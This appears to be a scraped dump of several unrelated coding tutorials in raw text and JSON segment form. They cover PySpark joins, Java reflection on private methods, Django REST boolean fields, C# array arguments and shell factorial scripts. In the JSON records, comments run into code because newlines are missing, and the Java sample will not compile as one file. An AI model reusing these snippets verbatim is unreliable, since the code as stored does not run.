| ID| Name|Gender|salary|
+---+------+------+------+
| 5| Jenis| F| 1200|
| 1| Ram| M| 3000|
| 3|Rohini| M| 4000|
| 2| Mike| M| 4000|
| 4| Maria| F| 4000|
+---+------+------+------+
sravankumar8128
Picked
Python-Pyspark
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Rotate axis tick labels in Seaborn and Matplotlib
Enumerate() in Python
Deque in Python
Stack in Python
Python Dictionary
sum() function in Python
Print lists in Python (5 Different Ways)
Different ways to create Pandas Dataframe
Queue in Python
Defaultdict in Python
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n29 Dec, 2021"
},
{
"code": null,
"e": 128,
"s": 28,
"text": "In this article, we will discuss how to remove duplicate columns after a DataFrame join in PySpark."
},
{
"code": null,
"e": 136,
"s": 128,
"text": "Python3"
},
{
"code": "# Importing necessary librariesfrom pyspark.sql import SparkSession # Create a spark sessionspark = SparkSession.builder.appName('pyspark \\- example join').getOrCreate() # Create data in dataframedata = [(('Ram'),1,'M'), (('Mike'),2,'M'), (('Rohini'),3,'M'), (('Maria'),4,'F'), (('Jenis'),5,'F')] # Column names in dataframecolumns = [\"Name\",\"ID\",\"Gender\"] # Create the spark dataframedf1 = spark.createDataFrame(data=data, schema = columns) # Print the dataframedf1.show()",
"e": 646,
"s": 136,
"text": null
},
{
"code": null,
"e": 654,
"s": 646,
"text": "Output:"
},
{
"code": null,
"e": 834,
"s": 654,
"text": "+------+---+------+\n| Name| ID|Gender|\n+------+---+------+\n| Ram| 1| M|\n| Mike| 2| M|\n|Rohini| 3| M|\n| Maria| 4| F|\n| Jenis| 5| F|\n+------+---+------+"
},
{
"code": null,
"e": 842,
"s": 834,
"text": "Python3"
},
{
"code": "# Create data in dataframedata2 = [(1,3000), (2,4000), (3,4000), (4,4000), (5, 1200)] # Column names in dataframecolumns = [\"ID\",\"salary\"] # Create the spark dataframedf2 = spark.createDataFrame(data=data2, schema = columns) # Print the dataframedf2.show()",
"e": 1162,
"s": 842,
"text": null
},
{
"code": null,
"e": 1170,
"s": 1162,
"text": "Output:"
},
{
"code": null,
"e": 1287,
"s": 1170,
"text": "+---+------+\n| ID|salary|\n+---+------+\n| 1| 3000|\n| 2| 4000|\n| 3| 4000|\n| 4| 4000|\n| 5| 1200|\n+---+------+"
},
{
"code": null,
"e": 1321,
"s": 1287,
"text": "This will join the two dataframes"
},
{
"code": null,
"e": 1363,
"s": 1321,
"text": "Syntax: dataframe.join(dataframe1).show()"
},
{
"code": null,
"e": 1370,
"s": 1363,
"text": "where,"
},
{
"code": null,
"e": 1403,
"s": 1370,
"text": "dataframe is the first dataframe"
},
{
"code": null,
"e": 1438,
"s": 1403,
"text": "dataframe1 is the second dataframe"
},
{
"code": null,
"e": 1474,
"s": 1438,
"text": "Let’s see the dataframe after join:"
},
{
"code": null,
"e": 1482,
"s": 1474,
"text": "Python3"
},
{
"code": "df = df1.join(df2, df1.ID==df2.ID)df.show()",
"e": 1526,
"s": 1482,
"text": null
},
{
"code": null,
"e": 1534,
"s": 1526,
"text": "Output:"
},
{
"code": null,
"e": 1813,
"s": 1534,
"text": "+------+---+------+---+------+\n| Name| ID|Gender| ID|salary|\n+------+---+------+---+------+\n| Jenis| 5| F| 5| 1200|\n| Ram| 1| M| 1| 3000|\n|Rohini| 3| M| 3| 4000|\n| Mike| 2| M| 2| 4000|\n| Maria| 4| F| 4| 4000|\n+------+---+------+---+------+"
},
{
"code": null,
"e": 1886,
"s": 1813,
"text": "Here we see the ID and Salary columns are added to our existing article."
},
{
"code": null,
"e": 1919,
"s": 1886,
"text": "Now, let check the columns once:"
},
{
"code": null,
"e": 1982,
"s": 1919,
"text": "Here we check gender columns which is unique so its work fine."
},
{
"code": null,
"e": 1990,
"s": 1982,
"text": "Python3"
},
{
"code": "df.select('Gender').show()",
"e": 2017,
"s": 1990,
"text": null
},
{
"code": null,
"e": 2025,
"s": 2017,
"text": "Output:"
},
{
"code": null,
"e": 2106,
"s": 2025,
"text": "+------+\n|Gender|\n+------+\n| F|\n| M|\n| M|\n| M|\n| F|\n+------+"
},
{
"code": null,
"e": 2144,
"s": 2106,
"text": "Now let check our Duplicates Columns:"
},
{
"code": null,
"e": 2202,
"s": 2144,
"text": "Here it will produce errors because of duplicate columns."
},
{
"code": null,
"e": 2210,
"s": 2202,
"text": "Python3"
},
{
"code": "df.select('ID').show()",
"e": 2233,
"s": 2210,
"text": null
},
{
"code": null,
"e": 2241,
"s": 2233,
"text": "Output:"
},
{
"code": null,
"e": 2307,
"s": 2241,
"text": "AnalysisException: Reference ‘ID’ is ambiguous, could be: ID, ID."
},
{
"code": null,
"e": 2501,
"s": 2307,
"text": "If we want to drop the duplicate column, then we have to specify the duplicate column in the join function. Here we are simply using join to join two dataframes and then drop duplicate columns."
},
{
"code": null,
"e": 2560,
"s": 2501,
"text": "Syntax: dataframe.join(dataframe1, [‘column_name’]).show()"
},
{
"code": null,
"e": 2567,
"s": 2560,
"text": "where,"
},
{
"code": null,
"e": 2600,
"s": 2567,
"text": "dataframe is the first dataframe"
},
{
"code": null,
"e": 2635,
"s": 2600,
"text": "dataframe1 is the second dataframe"
},
{
"code": null,
"e": 2693,
"s": 2635,
"text": "column_name is the common column exists in two dataframes"
},
{
"code": null,
"e": 2701,
"s": 2693,
"text": "Python3"
},
{
"code": "new_df = df1.join(df2, [\"id\"])new_df.show()",
"e": 2745,
"s": 2701,
"text": null
},
{
"code": null,
"e": 2753,
"s": 2745,
"text": "Output:"
},
{
"code": null,
"e": 2996,
"s": 2753,
"text": "+---+------+------+------+\n| ID| Name|Gender|salary|\n+---+------+------+------+\n| 5| Jenis| F| 1200|\n| 1| Ram| M| 3000|\n| 3|Rohini| M| 4000|\n| 2| Mike| M| 4000|\n| 4| Maria| F| 4000|\n+---+------+------+------+"
},
{
"code": null,
"e": 3012,
"s": 2996,
"text": "sravankumar8128"
},
{
"code": null,
"e": 3019,
"s": 3012,
"text": "Picked"
},
{
"code": null,
"e": 3034,
"s": 3019,
"text": "Python-Pyspark"
},
{
"code": null,
"e": 3041,
"s": 3034,
"text": "Python"
},
{
"code": null,
"e": 3139,
"s": 3041,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 3189,
"s": 3139,
"text": "Rotate axis tick labels in Seaborn and Matplotlib"
},
{
"code": null,
"e": 3211,
"s": 3189,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 3227,
"s": 3211,
"text": "Deque in Python"
},
{
"code": null,
"e": 3243,
"s": 3227,
"text": "Stack in Python"
},
{
"code": null,
"e": 3261,
"s": 3243,
"text": "Python Dictionary"
},
{
"code": null,
"e": 3286,
"s": 3261,
"text": "sum() function in Python"
},
{
"code": null,
"e": 3327,
"s": 3286,
"text": "Print lists in Python (5 Different Ways)"
},
{
"code": null,
"e": 3369,
"s": 3327,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 3385,
"s": 3369,
"text": "Queue in Python"
}
] |
Can private methods of a class be accessed from outside of a class in Java?
|
You can access the private methods of a class using java reflection package.
Step1 − Instantiate the Method class of the java.lang.reflect package by passing the method name of the method which is declared private.
Step2 − Set the method accessible by passing value true to the setAccessible() method.
Step3 − Finally, invoke the method using the invoke() method.
import java.lang.reflect.Method;
public class DemoTest {
private void sampleMethod() {
System.out.println("hello");
}
}
public class SampleTest {
public static void main(String args[]) throws Exception {
Class c = Class.forName("DemoTest");
Object obj = c.newInstance();
Method method = c.getDeclaredMethod("sampleMethod", null);
method.setAccessible(true);
method.invoke(obj, null);
}
}
|
[
{
"code": null,
"e": 1264,
"s": 1187,
"text": "You can access the private methods of a class using java reflection package."
},
{
"code": null,
"e": 1402,
"s": 1264,
"text": "Step1 − Instantiate the Method class of the java.lang.reflect package by passing the method name of the method which is declared private."
},
{
"code": null,
"e": 1489,
"s": 1402,
"text": "Step2 − Set the method accessible by passing value true to the setAccessible() method."
},
{
"code": null,
"e": 1551,
"s": 1489,
"text": "Step3 − Finally, invoke the method using the invoke() method."
},
{
"code": null,
"e": 1989,
"s": 1551,
"text": "import java.lang.reflect.Method;\n\npublic class DemoTest {\n private void sampleMethod() {\n System.out.println(\"hello\");\n }\n}\n\npublic class SampleTest {\n public static void main(String args[]) throws Exception {\n Class c = Class.forName(\"DemoTest\");\n Object obj = c.newInstance();\n Method method = c.getDeclaredMethod(\"sampleMethod\", null);\n method.setAccessible(true);\n method.invoke(obj, null);\n }\n}"
}
] |
Boolean Fields in Serializers – Django REST Framework
|
14 Dec, 2021
In Django REST Framework the very concept of Serializing is to convert DB data to a datatype that can be used by javascript. Every serializer comes with some fields (entries) which are going to be processed. For example if you have a class with name Employee and its fields as Employee_id, Employee_name, is_admin, etc. Then, you would need AutoField, CharField and BooleanField for storing and manipulating data through Django. Similarly, serializer also works with same principle and has fields that are used to create a serializer. This article revolves around Boolean Fields in Serializers in Django REST Framework. There are two major fields for Boolean values – BooleanField and NullBooleanField.
A boolean field used to wrap True or False values. It works the same as BooleanField – Django Models. By default, serializers.BooleanField instances as created by default as False. Syntax –
field_name = serializers.BooleanField()
A boolean field that accepts True, False and Null values. It works the same as NullBooleanField – Django Models. By default, serializers.NullBooleanField instances as created by default as none. Syntax –
field_name = serializers.NullBooleanField()
To explain the usage of Boolean Fields, let’s use the same project setup from – How to Create a basic API using Django Rest Framework ?. Now that you have a file called serializers in your project, let’s create a serializer with BooleanField and NullBooleanField as the fields.
Python3
#import serializer from rest_frameworkfrom rest_framework import serializers class Geeks(object): def __init__(self, bool1, bool2): self.field_1 = bool1 self.field_2 = bool2 # create a serializerclass GeeksSerializer(serializers.Serializer): # initialize fields field_1 = serializers.BooleanField() field_2 = serializers.NullBooleanField()
Now let us create some objects and try serializing them and check if they are actually working, Run, –
Python manage.py shell
Now, run following python commands in the shell
# import everything from serializers
>>> from apis.serializers import *
# create a object of type Geeks
>>> obj = Geeks(bool1 = True, bool2 = True)
# serialize the object
>>> serializer = GeeksSerializer(obj)
# print serialized data
>>> serializer.data
{'field_1': True, 'field_2': True}
# another example
>>> obj1 = Geeks(bool1 = True, bool2 = None)
>>> serializer = GeeksSerializer(obj1)
>>> serializer.data
{'field_1': True, 'field_2': None}
Here is the output of all these operations on terminal –
.math-table { border-collapse: collapse; width: 100%; } .math-table td { border: 1px solid #5fb962; text-align: left !important; padding: 8px; } .math-table th { border: 1px solid #5fb962; padding: 8px; } .math-table tr>th{ background-color: #c6ebd9; vertical-align: middle; } .math-table tr:nth-child(odd) { background-color: #ffffff; }
rajeev0719singh
sweetyty
Django-REST
rest-framework
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Python Classes and Objects
Python OOPs Concepts
Introduction To PYTHON
How to drop one or multiple columns in Pandas Dataframe
Python | os.path.join() method
How To Convert Python Dictionary To JSON?
Check if element exists in list in Python
Python | datetime.timedelta() function
Python | Get unique values from a list
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n14 Dec, 2021"
},
{
"code": null,
"e": 733,
"s": 28,
"text": "In Django REST Framework the very concept of Serializing is to convert DB data to a datatype that can be used by javascript. Every serializer comes with some fields (entries) which are going to be processed. For example if you have a class with name Employee and its fields as Employee_id, Employee_name, is_admin, etc. Then, you would need AutoField, CharField and BooleanField for storing and manipulating data through Django. Similarly, serializer also works with same principle and has fields that are used to create a serializer. This article revolves around Boolean Fields in Serializers in Django REST Framework. There are two major fields for Boolean values – BooleanField and NullBooleanField. "
},
{
"code": null,
"e": 924,
"s": 733,
"text": "A boolean field used to wrap True or False values. It works the same as BooleanField – Django Models. By default, serializers.BooleanField instances as created by default as False. Syntax – "
},
{
"code": null,
"e": 965,
"s": 924,
"text": "field_name = serializers.BooleanField() "
},
{
"code": null,
"e": 1171,
"s": 965,
"text": "A boolean field that accepts True, False and Null values. It works the same as NullBooleanField – Django Models. By default, serializers.NullBooleanField instances as created by default as none. Syntax – "
},
{
"code": null,
"e": 1215,
"s": 1171,
"text": "field_name = serializers.NullBooleanField()"
},
{
"code": null,
"e": 1494,
"s": 1215,
"text": "To explain the usage of Boolean Fields, let’s use the same project setup from – How to Create a basic API using Django Rest Framework ?. Now that you have a file called serializers in your project, let’s create a serializer with BooleanField and NullBooleanField as the fields. "
},
{
"code": null,
"e": 1502,
"s": 1494,
"text": "Python3"
},
{
"code": "#import serializer from rest_frameworkfrom rest_framework import serializers class Geeks(object): def __init__(self, bool1, bool2): self.field_1 = bool1 self.field_2 = bool2 # create a serializerclass GeeksSerializer(serializers.Serializer): # initialize fields field_1 = serializers.BooleanField() field_2 = serializers.NullBooleanField()",
"e": 1868,
"s": 1502,
"text": null
},
{
"code": null,
"e": 1973,
"s": 1868,
"text": "Now let us create some objects and try serializing them and check if they are actually working, Run, – "
},
{
"code": null,
"e": 1996,
"s": 1973,
"text": "Python manage.py shell"
},
{
"code": null,
"e": 2045,
"s": 1996,
"text": "Now, run following python commands in the shell "
},
{
"code": null,
"e": 2494,
"s": 2045,
"text": "# import everything from serializers\n>>> from apis.serializers import *\n\n# create a object of type Geeks\n>>> obj = Geeks(bool1 = True, bool2 = True)\n\n# serialize the object\n>>> serializer = GeeksSerializer(obj)\n\n# print serialized data\n>>> serializer.data\n{'field_1': True, 'field_2': True}\n\n# another example\n>>> obj1 = Geeks(bool1 = True, bool2 = None)\n>>> serializer = GeeksSerializer(obj1)\n>>> serializer.data\n{'field_1': True, 'field_2': None}"
},
{
"code": null,
"e": 2552,
"s": 2494,
"text": "Here is the output of all these operations on terminal – "
},
{
"code": null,
"e": 2892,
"s": 2552,
"text": ".math-table { border-collapse: collapse; width: 100%; } .math-table td { border: 1px solid #5fb962; text-align: left !important; padding: 8px; } .math-table th { border: 1px solid #5fb962; padding: 8px; } .math-table tr>th{ background-color: #c6ebd9; vertical-align: middle; } .math-table tr:nth-child(odd) { background-color: #ffffff; } "
},
{
"code": null,
"e": 2910,
"s": 2894,
"text": "rajeev0719singh"
},
{
"code": null,
"e": 2919,
"s": 2910,
"text": "sweetyty"
},
{
"code": null,
"e": 2931,
"s": 2919,
"text": "Django-REST"
},
{
"code": null,
"e": 2946,
"s": 2931,
"text": "rest-framework"
},
{
"code": null,
"e": 2953,
"s": 2946,
"text": "Python"
},
{
"code": null,
"e": 3051,
"s": 2953,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 3083,
"s": 3051,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 3110,
"s": 3083,
"text": "Python Classes and Objects"
},
{
"code": null,
"e": 3131,
"s": 3110,
"text": "Python OOPs Concepts"
},
{
"code": null,
"e": 3154,
"s": 3131,
"text": "Introduction To PYTHON"
},
{
"code": null,
"e": 3210,
"s": 3154,
"text": "How to drop one or multiple columns in Pandas Dataframe"
},
{
"code": null,
"e": 3241,
"s": 3210,
"text": "Python | os.path.join() method"
},
{
"code": null,
"e": 3283,
"s": 3241,
"text": "How To Convert Python Dictionary To JSON?"
},
{
"code": null,
"e": 3325,
"s": 3283,
"text": "Check if element exists in list in Python"
},
{
"code": null,
"e": 3364,
"s": 3325,
"text": "Python | datetime.timedelta() function"
}
] |
Passing arrays as arguments in C#
|
22 Sep, 2021
An array is a collection of similar type variables which are referred to by a common name. In C#, arrays are the reference types so it can be passed as arguments to the method. A method can modify the value of the elements of the array. Both single-dimensional and multidimensional arrays can be passed as an argument to the methods.
One can pass the 1-D arrays to a method. There are various options like first, you declare and initialize the array separately then pass it to the method. Second, you can declare, initialize and pass the array to the method in a single line of code.
Example 1: Declaring and initializing array first and then pass it to the method as an argument.
C#
// taking an integer array// declaring and initializing// the arrayint[] arr = {1, 2, 3, 4}; // passing the array as an// argument to the method// Result is the method nameResult(arr);
Example 2: Declaring, initializing, and passing the array to the method in a single line of code.
Result(new int[] {1, 2, 3, 4});
Code: In the below program, we are passing the 1-D array arr to the method Result. The method is static and it will print the array elements which are passed to it.
C#
// C# program for passing the 1-D// array to method as argumentusing System; class GFG { // declaring a method static void Result(int[] arr) { // displaying the array elements for(int i = 0; i < arr.Length; i++) { Console.WriteLine("Array Element: "+arr[i]); } } // Main method public static void Main() { // declaring an array // and initializing it int[] arr = {1, 2, 3, 4, 5}; // calling the method Result(arr); }}
Output:
Array Element: 1
Array Element: 2
Array Element: 3
Array Element: 4
Array Element: 5
You can also pass the multidimensional arrays to a method. There are various options like first, you declare and initialize the multi-dimensional array separately then pass it the to the method. Second, you can declare, initialize and pass the array to the method in a single line of code.
Example 1: Declaring and initializing array first and then pass it to the method as an argument.
C#
// declaring and initializing// the 2-D arrayint[,] arr = { {1, 2, 3, 4}, {5, 6, 7, 8} }; // passing the array as an// argument to the method// Result is the method nameResult(arr);
Example 2: Declaring, initializing and passing the 2-D array to the method in a single line of code.
Result(new int[,] { {1, 2, 3, 4}, {5, 6, 7, 8} });
Code: In the below program, we are passing an 2-D array arr to the method transpose which gave the transpose of the matrix. GetLength() method is used for the count the total number of elements in a particular dimension.
C#
// C# program for finding the transpose// of matrix(2-D array) by using array// as function argumentsusing System; class GFG { // temp is used as temporary variable static int temp = 0; // passing 2-D array 'arr' as argument // to find the transpose of matrix static void transpose(int[, ] arr) { for (int i = 0; i < arr.GetLength(0); i++) { for (int j = i; j < arr.GetLength(1); j++) { temp = arr[i, j]; arr[i, j] = arr[j, i]; arr[j, i] = temp; } } } // to display the transposed matrix static void displayresult(int[, ] arr) { Console.WriteLine("Matrix After Transpose: "); for (int i = 0; i < arr.GetLength(0); i++) { for (int j = 0; j < arr.GetLength(1); j++) Console.Write(arr[i, j] + " "); Console.WriteLine(); } } // Main Method static public void Main() { // declaration of an 2-d array int[, ] arr; // initializing 2-D array // matrix of 4 rows and 4 columns arr = new int[4, 4]{ { 1, 2, 3, 4}, { 5, 6, 7, 8}, {9, 10, 11, 12}, {13, 14, 15, 16} }; Console.WriteLine("Matrix Before Transpose: "); for (int i = 0; i < arr.GetLength(0); i++) { for (int j = 0; j < arr.GetLength(1); j++) Console.Write(arr[i, j] + " "); Console.WriteLine(); } Console.WriteLine(); // calling transpose method transpose(arr); // calling displayresult method // to display the result displayresult(arr); }}
Output:
Matrix Before Transpose:
1 2 3 4
5 6 7 8
9 10 11 12
13 14 15 16
Matrix After Transpose:
1 5 9 13
2 6 10 14
3 7 11 15
4 8 12 16
clintra
simmytarika5
kashishsoda
CSharp-Arrays
C#
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
C# | Multiple inheritance using interfaces
Differences Between .NET Core and .NET Framework
Extension Method in C#
C# | List Class
HashSet in C# with Examples
C# | .NET Framework (Basic Architecture and Component Stack)
Switch Statement in C#
Partial Classes in C#
Lambda Expressions in C#
Hello World in C#
|
[
{
"code": null,
"e": 54,
"s": 26,
"text": "\n22 Sep, 2021"
},
{
"code": null,
"e": 388,
"s": 54,
"text": "An array is a collection of similar type variables which are referred to by a common name. In C#, arrays are the reference types so it can be passed as arguments to the method. A method can modify the value of the elements of the array. Both single-dimensional and multidimensional arrays can be passed as an argument to the methods."
},
{
"code": null,
"e": 638,
"s": 388,
"text": "One can pass the 1-D arrays to a method. There are various options like first, you declare and initialize the array separately then pass it to the method. Second, you can declare, initialize and pass the array to the method in a single line of code."
},
{
"code": null,
"e": 737,
"s": 638,
"text": "Example 1: Declaring and initializing array first and then pass it to the method as an argument. "
},
{
"code": null,
"e": 740,
"s": 737,
"text": "C#"
},
{
"code": "// taking an integer array// declaring and initializing// the arrayint[] arr = {1, 2, 3, 4}; // passing the array as an// argument to the method// Result is the method nameResult(arr);",
"e": 925,
"s": 740,
"text": null
},
{
"code": null,
"e": 1023,
"s": 925,
"text": "Example 2: Declaring, initializing, and passing the array to the method in a single line of code."
},
{
"code": null,
"e": 1055,
"s": 1023,
"text": "Result(new int[] {1, 2, 3, 4});"
},
{
"code": null,
"e": 1221,
"s": 1055,
"text": "Code: In the below program, we are passing the 1-D array arr to the method Result. The method is static and it will print the array elements which are passed to it. "
},
{
"code": null,
"e": 1224,
"s": 1221,
"text": "C#"
},
{
"code": "// C# program for passing the 1-D// array to method as argumentusing System; class GFG { // declaring a method static void Result(int[] arr) { // displaying the array elements for(int i = 0; i < arr.Length; i++) { Console.WriteLine(\"Array Element: \"+arr[i]); } } // Main method public static void Main() { // declaring an array // and initializing it int[] arr = {1, 2, 3, 4, 5}; // calling the method Result(arr); }}",
"e": 1780,
"s": 1224,
"text": null
},
{
"code": null,
"e": 1789,
"s": 1780,
"text": "Output: "
},
{
"code": null,
"e": 1874,
"s": 1789,
"text": "Array Element: 1\nArray Element: 2\nArray Element: 3\nArray Element: 4\nArray Element: 5"
},
{
"code": null,
"e": 2164,
"s": 1874,
"text": "You can also pass the multidimensional arrays to a method. There are various options like first, you declare and initialize the multi-dimensional array separately then pass it the to the method. Second, you can declare, initialize and pass the array to the method in a single line of code."
},
{
"code": null,
"e": 2263,
"s": 2164,
"text": "Example 1: Declaring and initializing array first and then pass it to the method as an argument. "
},
{
"code": null,
"e": 2266,
"s": 2263,
"text": "C#"
},
{
"code": "// declaring and initializing// the 2-D arrayint[,] arr = { {1, 2, 3, 4}, {5, 6, 7, 8} }; // passing the array as an// argument to the method// Result is the method nameResult(arr);",
"e": 2448,
"s": 2266,
"text": null
},
{
"code": null,
"e": 2549,
"s": 2448,
"text": "Example 2: Declaring, initializing and passing the 2-D array to the method in a single line of code."
},
{
"code": null,
"e": 2600,
"s": 2549,
"text": "Result(new int[,] { {1, 2, 3, 4}, {5, 6, 7, 8} });"
},
{
"code": null,
"e": 2822,
"s": 2600,
"text": "Code: In the below program, we are passing an 2-D array arr to the method transpose which gave the transpose of the matrix. GetLength() method is used for the count the total number of elements in a particular dimension. "
},
{
"code": null,
"e": 2825,
"s": 2822,
"text": "C#"
},
{
"code": "// C# program for finding the transpose// of matrix(2-D array) by using array// as function argumentsusing System; class GFG { // temp is used as temporary variable static int temp = 0; // passing 2-D array 'arr' as argument // to find the transpose of matrix static void transpose(int[, ] arr) { for (int i = 0; i < arr.GetLength(0); i++) { for (int j = i; j < arr.GetLength(1); j++) { temp = arr[i, j]; arr[i, j] = arr[j, i]; arr[j, i] = temp; } } } // to display the transposed matrix static void displayresult(int[, ] arr) { Console.WriteLine(\"Matrix After Transpose: \"); for (int i = 0; i < arr.GetLength(0); i++) { for (int j = 0; j < arr.GetLength(1); j++) Console.Write(arr[i, j] + \" \"); Console.WriteLine(); } } // Main Method static public void Main() { // declaration of an 2-d array int[, ] arr; // initializing 2-D array // matrix of 4 rows and 4 columns arr = new int[4, 4]{ { 1, 2, 3, 4}, { 5, 6, 7, 8}, {9, 10, 11, 12}, {13, 14, 15, 16} }; Console.WriteLine(\"Matrix Before Transpose: \"); for (int i = 0; i < arr.GetLength(0); i++) { for (int j = 0; j < arr.GetLength(1); j++) Console.Write(arr[i, j] + \" \"); Console.WriteLine(); } Console.WriteLine(); // calling transpose method transpose(arr); // calling displayresult method // to display the result displayresult(arr); }}",
"e": 4633,
"s": 2825,
"text": null
},
{
"code": null,
"e": 4642,
"s": 4633,
"text": "Output: "
},
{
"code": null,
"e": 4780,
"s": 4642,
"text": "Matrix Before Transpose: \n1 2 3 4 \n5 6 7 8 \n9 10 11 12 \n13 14 15 16 \n\nMatrix After Transpose: \n1 5 9 13 \n2 6 10 14 \n3 7 11 15 \n4 8 12 16 "
},
{
"code": null,
"e": 4790,
"s": 4782,
"text": "clintra"
},
{
"code": null,
"e": 4803,
"s": 4790,
"text": "simmytarika5"
},
{
"code": null,
"e": 4815,
"s": 4803,
"text": "kashishsoda"
},
{
"code": null,
"e": 4829,
"s": 4815,
"text": "CSharp-Arrays"
},
{
"code": null,
"e": 4832,
"s": 4829,
"text": "C#"
},
{
"code": null,
"e": 4930,
"s": 4832,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 4973,
"s": 4930,
"text": "C# | Multiple inheritance using interfaces"
},
{
"code": null,
"e": 5022,
"s": 4973,
"text": "Differences Between .NET Core and .NET Framework"
},
{
"code": null,
"e": 5045,
"s": 5022,
"text": "Extension Method in C#"
},
{
"code": null,
"e": 5061,
"s": 5045,
"text": "C# | List Class"
},
{
"code": null,
"e": 5089,
"s": 5061,
"text": "HashSet in C# with Examples"
},
{
"code": null,
"e": 5150,
"s": 5089,
"text": "C# | .NET Framework (Basic Architecture and Component Stack)"
},
{
"code": null,
"e": 5173,
"s": 5150,
"text": "Switch Statement in C#"
},
{
"code": null,
"e": 5195,
"s": 5173,
"text": "Partial Classes in C#"
},
{
"code": null,
"e": 5220,
"s": 5195,
"text": "Lambda Expressions in C#"
}
] |
Shell Program to Calculate the Factorial of a Number
|
01 Sep, 2021
Here we are going to see to calculate the factorial of a number. Factorial of a non-negative integer is the multiplication of all integers smaller than or equal to n.
For example factorial of 5 is 5*4*3*2*1 which is 120.
Factorial can be calculated using the following recursive formula.
Below is implementation of factorial:
#!/bin/bash
# Recursive factorial function
factorial()
{
product=$1
# Defining a function to calculate factorial using recursion
if((product <= 2)); then
echo $product
else
f=$((product -1))
# Recursive call
f=$(factorial $f)
f=$((f*product))
echo $f
fi
}
# main program
# reading the input from user
echo "Enter the number:"
read num
# defining a special case for 0! = 1
if((num == 0)); then
echo 1
else
#calling the function
factorial $num
fi
Output:
Enter the number
5
120
Enter the number
3
24
Enter the number
6
720
Approach:
Get a number
Use for loop to compute the factorial by using the below formula
fact(n) = n * n-1 * n-2 * ...
Display the result.
Below is the Implementation using for loop:
# shell script for factorial of a number
# factorial using for loop
echo "Enter a number"
# Read the number
read num
fact=1
for((i=2;i<=num;i++))
{
fact=$((fact * i))
}
echo $fact
Output:
Enter a number
5
120
Enter a number
7
5040
Enter a number
4
24
Get a number
Use do-while loop to compute the factorial by using the below formula
fact(n) = n * n-1 * n-2 * .. 1
Display the result.
Below is the Implementation using a while loop.
# shell script for factorial of a number
# factorial using while loop
echo "Enter a number"
# Read the number
read num
fact=1
# -gt is used for '>' Greater than sign
while [ $num -gt 1 ]
do
fact=$((fact * num))
num=$((num - 1))
done
# Printing the value of the factorial
echo $fact
Output:
Enter a number
10
3628800
Enter a number
2
2
Enter a number
9
362880
meetgor
Picked
Shell Script
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Docker - COPY Instruction
scp command in Linux with Examples
chown command in Linux with Examples
SED command in Linux | Set 2
mv command in Linux with examples
nohup Command in Linux with Examples
chmod command in Linux with examples
Introduction to Linux Operating System
Array Basics in Shell Scripting | Set 1
Basic Operators in Shell Scripting
|
[
{
"code": null,
"e": 54,
"s": 26,
"text": "\n01 Sep, 2021"
},
{
"code": null,
"e": 222,
"s": 54,
"text": "Here we are going to see to calculate the factorial of a number. Factorial of a non-negative integer is the multiplication of all integers smaller than or equal to n. "
},
{
"code": null,
"e": 276,
"s": 222,
"text": "For example factorial of 5 is 5*4*3*2*1 which is 120."
},
{
"code": null,
"e": 343,
"s": 276,
"text": "Factorial can be calculated using the following recursive formula."
},
{
"code": null,
"e": 382,
"s": 343,
"text": "Below is implementation of factorial:"
},
{
"code": null,
"e": 890,
"s": 382,
"text": "#!/bin/bash\n# Recursive factorial function\n\nfactorial()\n{\n product=$1\n \n # Defining a function to calculate factorial using recursion\n if((product <= 2)); then\n echo $product\n else\n f=$((product -1))\n \n# Recursive call\n\nf=$(factorial $f)\nf=$((f*product))\necho $f\nfi\n}\n\n# main program\n# reading the input from user\necho \"Enter the number:\" \nread num\n\n# defining a special case for 0! = 1\nif((num == 0)); then \necho 1\nelse\n#calling the function\nfactorial $num\nfi"
},
{
"code": null,
"e": 898,
"s": 890,
"text": "Output:"
},
{
"code": null,
"e": 968,
"s": 898,
"text": "Enter the number\n5\n120\n\nEnter the number\n3\n24\n\nEnter the number\n6\n720"
},
{
"code": null,
"e": 978,
"s": 968,
"text": "Approach:"
},
{
"code": null,
"e": 991,
"s": 978,
"text": "Get a number"
},
{
"code": null,
"e": 1056,
"s": 991,
"text": "Use for loop to compute the factorial by using the below formula"
},
{
"code": null,
"e": 1086,
"s": 1056,
"text": "fact(n) = n * n-1 * n-2 * ..."
},
{
"code": null,
"e": 1106,
"s": 1086,
"text": "Display the result."
},
{
"code": null,
"e": 1150,
"s": 1106,
"text": "Below is the Implementation using for loop:"
},
{
"code": null,
"e": 1379,
"s": 1150,
"text": "# shell script for factorial of a number\n# factorial using for loop\n\necho \"Enter a number\"\n\n# Read the number\nread num \n\nfact=1 \n\nfor((i=2;i<=num;i++))\n{\n fact=$((fact * i)) \n}\n\necho $fact"
},
{
"code": null,
"e": 1387,
"s": 1379,
"text": "Output:"
},
{
"code": null,
"e": 1452,
"s": 1387,
"text": "Enter a number\n5\n120\n\nEnter a number\n7\n5040\n\nEnter a number\n4\n24"
},
{
"code": null,
"e": 1465,
"s": 1452,
"text": "Get a number"
},
{
"code": null,
"e": 1535,
"s": 1465,
"text": "Use do-while loop to compute the factorial by using the below formula"
},
{
"code": null,
"e": 1566,
"s": 1535,
"text": "fact(n) = n * n-1 * n-2 * .. 1"
},
{
"code": null,
"e": 1586,
"s": 1566,
"text": "Display the result."
},
{
"code": null,
"e": 1634,
"s": 1586,
"text": "Below is the Implementation using a while loop."
},
{
"code": null,
"e": 1961,
"s": 1634,
"text": "# shell script for factorial of a number\n# factorial using while loop\n\necho \"Enter a number\"\n\n# Read the number\nread num \nfact=1\n\n# -gt is used for '>' Greater than sign\nwhile [ $num -gt 1 ] \ndo\n fact=$((fact * num)) \n num=$((num - 1)) \ndone\n\n# Printing the value of the factorial\necho $fact "
},
{
"code": null,
"e": 1969,
"s": 1961,
